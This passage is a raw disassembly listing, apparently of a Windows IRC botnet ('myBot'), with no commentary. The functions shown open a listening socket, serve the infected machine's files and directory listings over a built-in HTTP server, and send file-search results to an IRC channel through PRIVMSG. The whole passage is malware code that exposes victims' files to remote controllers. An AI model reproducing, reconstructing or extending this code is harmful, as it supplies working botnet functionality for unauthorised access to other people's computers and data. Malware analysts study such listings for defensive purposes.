[ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB634 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB6B4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E57C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CB660 ; bind cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CB65C ; listen cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB6D0 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB61C ; select cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB520 ; __WSAFDIsSet test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB6C8 ; accept cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB64C ; recv test eax, eax jg short loc_40F2F7 push esi call dword_4CB6CC ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42D0F4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433EE4 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB6D0 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB6CC ; closesocket loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_433EBC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push [ebp+var_254] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_427104 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_427100 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CB684 ; send cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB6CC ; closesocket push [ebp+var_B4] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_5 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_4 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429A98 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_42A06C ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax call dword_427098 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_434170 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB6CC ; closesocket jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4270EC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_427108 ; GetFileSize push esi mov [ebp+var_330], eax call dword_427068 ; CloseHandle loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43413C push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E574[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call dword_42707C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E584[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call dword_427078 ; Sleep jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB6CC ; closesocket call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_434104 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_42A06C ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call dword_427000 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_427118 ; FindNextFileA test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_427114 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_427110 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429A98 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call dword_427078 ; Sleep loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_427118 ; FindNextFileA test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] call dword_42710C ; FindClose cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp 